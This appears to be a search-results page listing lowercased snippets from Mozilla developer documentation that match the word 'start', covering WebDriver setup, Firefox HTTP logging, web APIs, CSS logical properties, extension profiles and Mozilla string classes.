...ystems: open your .bash_profile (or .bashrc) file (if you can't see hidden files, you'll need to display them, see show/hide hidden files in mac os x or show hidden folders in ubuntu). paste the following into the bottom of your file (updating the path as it actually is on your machine): #add webdriver browser drivers to path export path=$path:/users/bob save and close this file, then re
start your terminal/command prompt to reapply your bash configuration. check that your new paths are in the path variable by entering the following into your terminal: echo $path you should see it printed out in the terminal. to set your path variable on windows, follow the instructions at how can i add a new folder to my system path? ok, let's try a quick test to make sure everything is worki...
...e detail. webdriver syntax crash course let's have a look at a few key features of the webdriver syntax. for more complete details, you should consult the selenium-webdriver javascript api reference for a detailed reference, and the selenium main documentation's selenium webdriver and webdriver: advanced usage pages, which contain multiple examples to learn from written in different languages.
starting a new test to
start up a new test, you need to include the selenium-webdriver module like this: const webdriver = require('selenium-webdriver'), by = webdriver.by, until = webdriver.until; next, you need to create a new instance of a driver, using the new webdriver.builder() constructor. this needs to have the forbrowser() method chained onto it to specify what browser you want to t...
...And 9 more matches
HTTP logging
), it can be useful to log http traffic. this saves a log of http-related information from your browser run into a file that you can examine (or upload to bugzilla if a developer has asked you for a log). note: the web console also offers the ability to peek at http transactions within firefox. http logging generally provides more detailed logging. using about:networking this is available
starting with firefox 52. this is the best and easiest way to do http logging. at any point during while your browser is running, you can turn logging on and off. this allows you to capture only the "interesting" part of the browser's behavior (i.e. your bug), which makes the http log much smaller and easier to analyze. launch the browser and get it into whatever state you need to be in just bef...
...urs. open a new tab and type in "about:networking" into the url bar. go to the "logging section" adjust the location of the log file if you don't like the default adjust the list of modules that you want to log: this list has the exact same format as the moz_log environment variable (see below). generally the default list is ok, unless a mozilla developer has told you to modify it. click on
start logging. reproduce the bug (i.e. go to the web site that is broken for you and make the bug happen in the browser) make a note of the value of "current log file". click on stop logging. go to the folder containing the specified log file, and gather all the log files. you will see several files that look like: log.txt-main.1806, log.txt-child.1954, log.txt-child.1970, etc. this is because fir...
...a bug (this is assuming you're logging to help a mozilla developer). other bugs may require all the logs to be uploaded--ask the developer if you're not sure. pat yourself on the back--a job well done! thanks for helping us debug firefox. logging http activity by manually setting environment variables sometimes the about:networking approach won't work, for instance if your bug occurs during
startup, or you're running on mobile, etc. in that case you can set environment variables *before* you launch firefox. note that this approach winds up logging the whole browser history, so files can get rather large (they compress well :) setting environment variables differs by operating system. don't let the scary-looking command line stuff frighten you off; it's not hard at all! windows if f...
...And 9 more matches
IAccessibleEditableText
t changed in gecko 1.9 (firefox 3) this interface is typically used in conjunction with the iaccessibletext interface and complements that interface with the additional capability of clipboard operations. note that even a read only text object can support the copy capability so this interface is not limited to editable objects. the substrings used with this interface are specified as follows: if
startoffset is less than endoffset, the substring
starts with the character at
startoffset and ends with the character just before endoffset. if endoffset is lower than
startoffset, the result is the same as a call with the two arguments exchanged. the whole text can be defined by passing the indices zero and iaccessibletext.ncharacters(). if both indices have the same value, an empty string is defined...
...fined by passing the indices zero and iaccessibletext.ncharacters(). if both indices have the same value, an empty string is defined. refer to the @ref _specialoffsets "special offsets for use in the iaccessibletext and iaccessibleeditabletext methods" for information about a special offset constant that can be used in iaccessibleeditabletext methods. ...
...s(). if both indices have the same value, an empty string is defined. refer to the @ref _specialoffsets "special offsets for use in the iaccessibletext and iaccessibleeditabletext methods" for information about a special offset constant that can be used in iaccessibleeditabletext methods. ...
...And 9 more matches
nsIAccessibleEditableText
ons it supports includes setting text attributes and text contents while also replacing old text of an object with new text. it also includes and support basic operations such as, inserting text, copying text, cutting text, pasting text and deleting text at the specified position. ...
... contents while also replacing old text of an object with new text. it also includes and support basic operations such as, inserting text, copying text, cutting text, pasting text and deleting text at the specified position. ...
...w text. it also includes and support basic operations such as, inserting text, copying text, cutting text, pasting text and deleting text at the specified position. ...
...And 9 more matches
AbstractRange - Web APIs
as an abstract interface, you will not directly instantiate an object of type abstractrange. instead, you will use the range or staticrange interfaces. to understand the difference between those two interfaces, and how to choose which is appropriate for your needs. ...
..." stroke-width="2px" /><text x="66" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">abstractrange</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties collapsed read only a boolean value which is true if the range is collapsed. a collapsed range is one whose
start position and end position are the same, resulting in a zero-character-long range. endcontainer read only the dom node in which the end of the range, as specified by the endoffset property, is located. endoffset read only an integer value indicating the offset, in characters, from the beginning of the node's contents to the beginning of the range represented by the range object. this value m...
... zero-character-long range. endcontainer read only the dom node in which the end of the range, as specified by the endoffset property, is located. endoffset read only an integer value indicating the offset, in characters, from the beginning of the node's contents to the beginning of the range represented by the range object. this value must be less than the length of the endcontainer node. ...
...And 9 more matches
Resource Timing API - Web APIs
lyzing detailed network timing data regarding the loading of an application's resource(s). an application can use the timing metrics to determine, for example, the length of time it takes to load a specific resource, such as an xmlhttprequest, <svg>, image, or script. the interface's properties create a resource loading timeline with high-resolution timestamps for network events such as redirect
start and end times, dns lookup
start and end times, request
start, response
start and end times, etc. the interface also includes other properties that provide data about the size of the fetched resource as well as the type of resource that initiated the fetch. this document provides an overview of the resource timing interfaces. for more details about the interfaces including examples see each inter...
...seconds). however, if the browser is unable to provide a time value accurate to 5 µs (because, for example, due to hardware or software constraints), the browser can represent a the value as a time in milliseconds accurate to a millisecond. resource loading timestamps an application can get timestamps for the various stages used to load a resource. ...
...mple, due to hardware or software constraints), the browser can represent a the value as a time in milliseconds accurate to a millisecond. resource loading timestamps an application can get timestamps for the various stages used to load a resource. the first property in the processing model is
starttime which returns the timestamp immediately before the resource loading process begins. the fetch
start timestamps follows and redirect processing (if applicable) and preceeds dns lookup. ...
...And 9 more matches
Using Touch Events - Web APIs
ication input. a disadvantage to using mouse events is that they do not support concurrent user input, whereas touch events support multiple simultaneous inputs (possibly at different locations on the touch surface), thus enhancing user experiences. the touch events interfaces support application specific single and multi-touch interactions such as a two-finger gesture. a multi-touch interaction
starts when a finger (or stylus) first touches the contact surface. other fingers may subsequently touch the surface and optionally move across the touch surface. the interaction ends when the fingers are removed from the surface. during this interaction, an application receives touch events during the
start, move, and end phases. the application may apply its own semantics to the touch inputs. interf...
... touchmove - fired when a touch point is moved along the touch surface. touchend - fired when a touch point is removed from the touch surface. ...
...a list of contact points with a touch surface, one touch point per contact. thus, if the user activated the touch surface with one finger, the list would contain one item, and if the user touched the surface with three fingers, the list length would be three. the touchevent interface represents an event sent when the state of contacts with a touch-sensitive surface changes. the state changes are
starting contact with a touch surface, moving a touch point while maintaining contact with the surface, releasing a touch point and canceling a touch event. this interface's attributes include the state of several modifier keys (for example the shift key) and the following touch lists: touches - a list of all of the touch points currently on the screen. targettouches - a list of the touch points on...
...And 9 more matches
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
dd margins, padding, and borders using these physical properties of margin-left, padding-left, and so on. we call these keywords and properties physical because they relate to the screen you are looking at. left is always left, no matter what direction your text is running. this can become an issue when developing a site that has to work in multiple languages, including languages that have text
starting on the right, rather than the left. browsers are pretty good at dealing with text direction, and you don’t even need to be working in a rtl language to take a look. in the example below, i have two paragraphs. one has no text-align property set, the second has text-align set to left. i have added dir="rtl" to the html element, which switches the writing mode from the default for an english l...
...ple example of the problem with physical values and properties being used in css. they prevent the browser being able to do the work to switch writing mode, as they make the assumption that the text is flowing left to right and top to bottom. logical properties and values logical properties and values do not make an assumption about text direction. which is why in grid layout we use the keyword
start when aligning something to the
start of the container. for me, working in english,
start may well be on the left, however it doesn’t have to be, and the word
start infers no physical location. block and inline once we begin dealing with logical, rather than physical properties, we stop seeing the world as left to right, and top to bottom. we need a new reference point, and this is where under...
... css writing modes i’m going to introduce another specification here, that i will be using in my examples: the css writing modes specification. ...
...And 9 more matches
Performance fundamentals - Web Performance
ts. transitions and animations are particularly important to applications: developers can use css to declare complicated behaviour with a simple, high-level syntax. in turn, gecko's graphics pipeline is highly optimized to render common animations efficiently. common-case animations are "offloaded" to the system compositor, which can render them in a performant, power-efficient fashion. an app's
startup performance matters just as much as its runtime performance. gecko is optimized to load a wide variety of content efficiently: the entire web! many years of improvements targeting this content, like parallel html parsing, intelligent scheduling of reflows and image decoding, clever layout algorithms, etc., translate just as well to improving web applications on firefox. application performance...
...ide variety of content efficiently: the entire web! many years of improvements targeting this content, like parallel html parsing, intelligent scheduling of reflows and image decoding, clever layout algorithms, etc., translate just as well to improving web applications on firefox. ...
...y: the entire web! many years of improvements targeting this content, like parallel html parsing, intelligent scheduling of reflows and image decoding, clever layout algorithms, etc., translate just as well to improving web applications on firefox. ...
...And 9 more matches
Setting up an extension development environment - Archive of obsolete content
hese details apply to firefox, thunderbird, and seamonkey (version 2.0 and above). overview you'll create a new user profile to run your development specific firefox session. this will utilize distinctive development preferences in about:config. install firefox development extensions specifically for this new developer user profile. edit files in the extensions folder of this profile, and re
start the application as this new developer profile. development profile the use of a separate user profile for development can be advantageous, averting performance degradation from development related settings, and further isolating personal data (such as bookmarks, extensions, and settings) from your testing environment. you could be running two instances of firefox simultaneously. note: for an...
...running two instances of firefox simultaneously. note: for an extended guide on how to set up even more user profiles, take a look at multiple firefox profiles. this particularly comes in handy for the use of all currently available firefox versions. it even allows the running of simultaneous versions, at the same time. to quickly achieve our task of creating just a developer profile, we will
start the application with the parameters: /path/to/firefox -no-remote -p profilename without these parameters, the default behavior of your mozilla applications is to only open the everyday user profile: named default. as we are specifically defining the user profile dev, if you don't have the dev profile already created, the profile selection window opens, where you can create it. in the following...
...ters: /path/to/firefox -no-remote -p profilename without these parameters, the default behavior of your mozilla applications is to only open the everyday user profile: named default. as we are specifically defining the user profile dev, if you don't have the dev profile already created, the profile selection window opens, where you can create it. in the following example, the described command
starts a new instance of firefox, with a profile called dev; even if an instance of firefox is already running. on ubuntu (and many other linux distributions): /usr/bin/firefox -no-remote -p dev on other distributions of linux/unix: /usr/local/bin/firefox -no-remote -p dev on macos mavericks (10.9) and newer: /applications/firefox.app/contents/macos/firefox-bin -no-remote -p dev & on windows: ...
...And 8 more matches
Simple Example - Archive of obsolete content
urls although this isn't necessary. each image also has one property, the image's title. a template which displays this information is very simple to create. unlike previous examples where we iterated over a property to navigate the graph, here we want to iterate over the children of an rdf container. the container, an rdf seq, has the uri 'http://www.xulplanet.com/rdf/myphotos'. ...
...://www.xulplanet.com/rdf/myphotos'. this will be the
starting point of the navigation. we want the endpoints to be the three images. first, we set the datasources and ref attributes as needed: <vbox datasources="template-guide-ex2.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> this time, we need to use a new statement, the member condition as well as a triple. ...
...os'. this will be the
starting point of the navigation. we want the endpoints to be the three images. first, we set the datasources and ref attributes as needed: <vbox datasources="template-guide-ex2.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> this time, we need to use a new statement, the member condition as well as a triple. <query> <content uri="?
start"/> <member container="?
start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> </query> the seed is set in a similar manner as the previous examples, effectively creating a single result with the ?
start variable set to the reference resource 'http://www.xulplanet.com/rdf/myphotos'. ...
...And 8 more matches
calICalendarViewController - Archive of obsolete content
the application in which the calicalendarview is included. calendar/base/public/calicalendarviewcontroller.idlscriptable please add a summary to this article. ...
... summary to this article. last changed in gecko ? interface code [scriptable, uuid(1f783898-f4c2-4b2d-972e-360e0de38237)] interface calicalendarviewcontroller : nsisupports { void createnewevent (in calicalendar acalendar, in calidatetime a
starttime, in calidatetime aendtime); void modifyoccurrence (in caliitemoccurrence aoccurrence, in calidatetime anew
starttime, in calidatetime anewendtime); void deleteoccurrence (in caliitemoccurrence aoccurrence); }; methods createnewevent void createnewevent (in calicalendar acalendar, in calidatetime a
starttime, in calidatetime aendtime); the createnewevent method is used for creating a new calievent in the calicalendar specified by the acalendar parameter. in many cases, ...
...the calievent should have its enddate set to aendtime, if this parameter is specified. otherwise, it should be set to a default value, as determined by the application. ...
...And 8 more matches
Mobile touch controls - Game development
ser is that it offers helper variables and functions for easier and faster development, but it's entirely up to you which approach you to choose. ...
... offers helper variables and functions for easier and faster development, but it's entirely up to you which approach you to choose. ...
... touchmove is fired when they move the finger on the screen while touching it touchend is fired when the user stops touching the screen touchcancel is fired when a touch is cancelled, for example when the user moves their finger outside of the screen. ...
...And 8 more matches
Looping code - Learn web development
l to do with doing the same thing over and over again — which is termed iteration in programming speak. let's consider the case of a farmer that is making sure he has enough food to feed his family for the week. he might use the following loop to achieve this: a loop usually has one or more of the following features: a counter, which is initialized with a certain value — this is the
starting point of the loop ("
start: i have no food", above). a condition, which is a true/false test to determine whether the loop continues to run, or stops — usually when the counter reaches a certain value. this is illustrated by "have i got enough food?", above. let's say he needs 10 portions of food to feed his family. an iterator, which generally increments the counter by a small amount on ea...
...only one number has to change. if we weren't using a loop here, we'd have to repeat the following code for every circle we wanted to draw: ctx.beginpath(); ctx.fillstyle = 'rgba(255,0,0,0.5)'; ctx.arc(random(width), random(height), random(50), 0, 2 * math.pi); ctx.fill(); this would get very boring and difficult to maintain very quickly. loops really are the best. the standard for loop let's
start exploring some specific loop constructs. the first, which you'll use most of the time, is the for loop — this has the following syntax: for (initializer; condition; final-expression) { // code to run } here we have: the keyword for, followed by some parentheses. inside the parentheses we have three items, separated by semi-colons: an initializer — this is usually a variable set ...
... + ', '; } para.textcontent = info; </script> </body> </html> note: you can find this example code on github too (also see it running live). this shows a loop is used to iterate over the items in an array and do something with each of them — a very common pattern in javascript. here: the counter variable (sometimes known as an initializer or an iteration variable), i,
starts at 0 (let i = 0). the loop has been told to run until i is no longer smaller than the length of the cats array. this is important — the condition is the condition under which the loop will still run. so in this case, while i < cats.length is still true, the loop will still run. inside the loop, we concatenate the current loop item (cats[i] , which is cats[whatever i is at the time]) along wi...
...And 8 more matches
NS_ConvertASCIItoUTF16
parameters nssubstringtuple& tuple get prunichar* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within this string. @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to
start searching @param acount tells us how far from the offset we are to search. use -1 to search the whole string. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount print32 find(co...
...@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset prin...
..., prbool, print32, print32) const - source this methods scans the string backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to
start searching. use -1 to search from the end of the string. @param acount tells us how many iterations to make
starting at the given offset. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset print32 acount print32 rfind(const nsaflatstring&, print32, print32) const - source parameters nsaflatstring& ast...
...And 8 more matches
NS_ConvertUTF16toUTF8
e parameters nscsubstringtuple& tuple get char* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within this string. @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to
start searching @param acount tells us how far from the offset we are to search. use -1 to search the whole string. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount rfind print...
...@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset prin...
..., prbool, print32, print32) const - source this methods scans the string backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to
start searching. use -1 to search from the end of the string. @param acount tells us how many iterations to make
starting at the given offset. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset print32 acount rfindchar print32 rfindchar(prunichar, print32, print32) const - source parameters prunichar a...
...And 8 more matches
NS_ConvertUTF8toUTF16
parameters nssubstringtuple& tuple get prunichar* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within this string. @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to
start searching @param acount tells us how far from the offset we are to search. use -1 to search the whole string. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount print32 find(co...
...@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset prin...
..., prbool, print32, print32) const - source this methods scans the string backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to
start searching. use -1 to search from the end of the string. @param acount tells us how many iterations to make
starting at the given offset. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset print32 acount print32 rfind(const nsaflatstring&, print32, print32) const - source parameters nsaflatstring& ast...
...And 8 more matches
NS_LossyConvertUTF16toASCII
e parameters nscsubstringtuple& tuple get char* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within this string. @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to
start searching @param acount tells us how far from the offset we are to search. use -1 to search the whole string. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount rfind print...
...@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset prin...
..., prbool, print32, print32) const - source this methods scans the string backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to
start searching. use -1 to search from the end of the string. @param acount tells us how many iterations to make
starting at the given offset. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset print32 acount rfindchar print32 rfindchar(prunichar, print32, print32) const - source parameters prunichar a...
...And 8 more matches
nsAdoptingCString
const - source parameters pruint32 i get char* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within this string. @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to
start searching @param acount tells us how far from the offset we are to search. use -1 to search the whole string. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount rfind print...
...@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset prin...
..., prbool, print32, print32) const - source this methods scans the string backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to
start searching. use -1 to search from the end of the string. @param acount tells us how many iterations to make
starting at the given offset. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset print32 acount rfindchar print32 rfindchar(prunichar, print32, print32) const - source parameters prunichar a...
...And 8 more matches
nsAdoptingString
t - source parameters pruint32 i get prunichar* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within this string. @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to
start searching @param acount tells us how far from the offset we are to search. use -1 to search the whole string. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount print32 find(co...
...@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset prin...
..., prbool, print32, print32) const - source this methods scans the string backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to
start searching. use -1 to search from the end of the string. @param acount tells us how many iterations to make
starting at the given offset. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset print32 acount print32 rfind(const nsaflatstring&, print32, print32) const - source parameters nsaflatstring& ast...
...And 8 more matches
nsAutoString
parameters nssubstringtuple& tuple get prunichar* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within this string. @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to
start searching @param acount tells us how far from the offset we are to search. use -1 to search the whole string. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount print32 find(co...
...@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset prin...
..., prbool, print32, print32) const - source this methods scans the string backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to
start searching. use -1 to search from the end of the string. @param acount tells us how many iterations to make
starting at the given offset. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset print32 acount print32 rfind(const nsaflatstring&, print32, print32) const - source parameters nsaflatstring& ast...
...And 8 more matches
nsCAutoString
s nscsubstringtuple& tuple get char* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within this string. @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to
start searching @param acount tells us how far from the offset we are to search. use -1 to search the whole string. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 ...
...@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase...
... prbool, print32, print32) const - source this methods scans the string backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to
start searching. use -1 to search from the end of the string. @param acount tells us how many iterations to make
starting at the given offset. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset print32 acount rfindchar print32 rfindchar(prunichar, print32, print32) const - sou...
...And 8 more matches
nsCString
e parameters nscsubstringtuple& tuple get char* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within this string. @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to
start searching @param acount tells us how far from the offset we are to search. use -1 to search the whole string. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount rfind print...
...@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset prin...
..., prbool, print32, print32) const - source this methods scans the string backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to
start searching. use -1 to search from the end of the string. @param acount tells us how many iterations to make
starting at the given offset. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset print32 acount rfindchar print32 rfindchar(prunichar, print32, print32) const - source parameters prunichar a...
...And 8 more matches
nsFixedCString
e parameters nscsubstringtuple& tuple get char* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within this string. @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to
start searching @param acount tells us how far from the offset we are to search. use -1 to search the whole string. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount rfind print...
...@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset prin...
..., prbool, print32, print32) const - source this methods scans the string backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to
start searching. use -1 to search from the end of the string. @param acount tells us how many iterations to make
starting at the given offset. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset print32 acount rfindchar print32 rfindchar(prunichar, print32, print32) const - source parameters prunichar a...
...And 8 more matches
nsFixedString
parameters nssubstringtuple& tuple get prunichar* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within this string. @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to
start searching @param acount tells us how far from the offset we are to search. use -1 to search the whole string. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount print32 find(co...
...@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset prin...
..., prbool, print32, print32) const - source this methods scans the string backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to
start searching. use -1 to search from the end of the string. @param acount tells us how many iterations to make
starting at the given offset. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset print32 acount print32 rfind(const nsaflatstring&, print32, print32) const - source parameters nsaflatstring& ast...
...And 8 more matches
nsPromiseFlatCString
e parameters nscsubstringtuple& tuple get char* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within this string. @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to
start searching @param acount tells us how far from the offset we are to search. use -1 to search the whole string. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount rfind print...
...@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset prin...
..., prbool, print32, print32) const - source this methods scans the string backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to
start searching. use -1 to search from the end of the string. @param acount tells us how many iterations to make
starting at the given offset. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset print32 acount rfindchar print32 rfindchar(prunichar, print32, print32) const - source parameters prunichar a...
...And 8 more matches
nsPromiseFlatString
parameters nssubstringtuple& tuple get prunichar* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within this string. @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to
start searching @param acount tells us how far from the offset we are to search. use -1 to search the whole string. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount print32 find(co...
...@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset prin...
..., prbool, print32, print32) const - source this methods scans the string backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to
start searching. use -1 to search from the end of the string. @param acount tells us how many iterations to make
starting at the given offset. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset print32 acount print32 rfind(const nsaflatstring&, print32, print32) const - source parameters nsaflatstring& ast...
...And 8 more matches
nsString
parameters nssubstringtuple& tuple get prunichar* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within this string. @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to
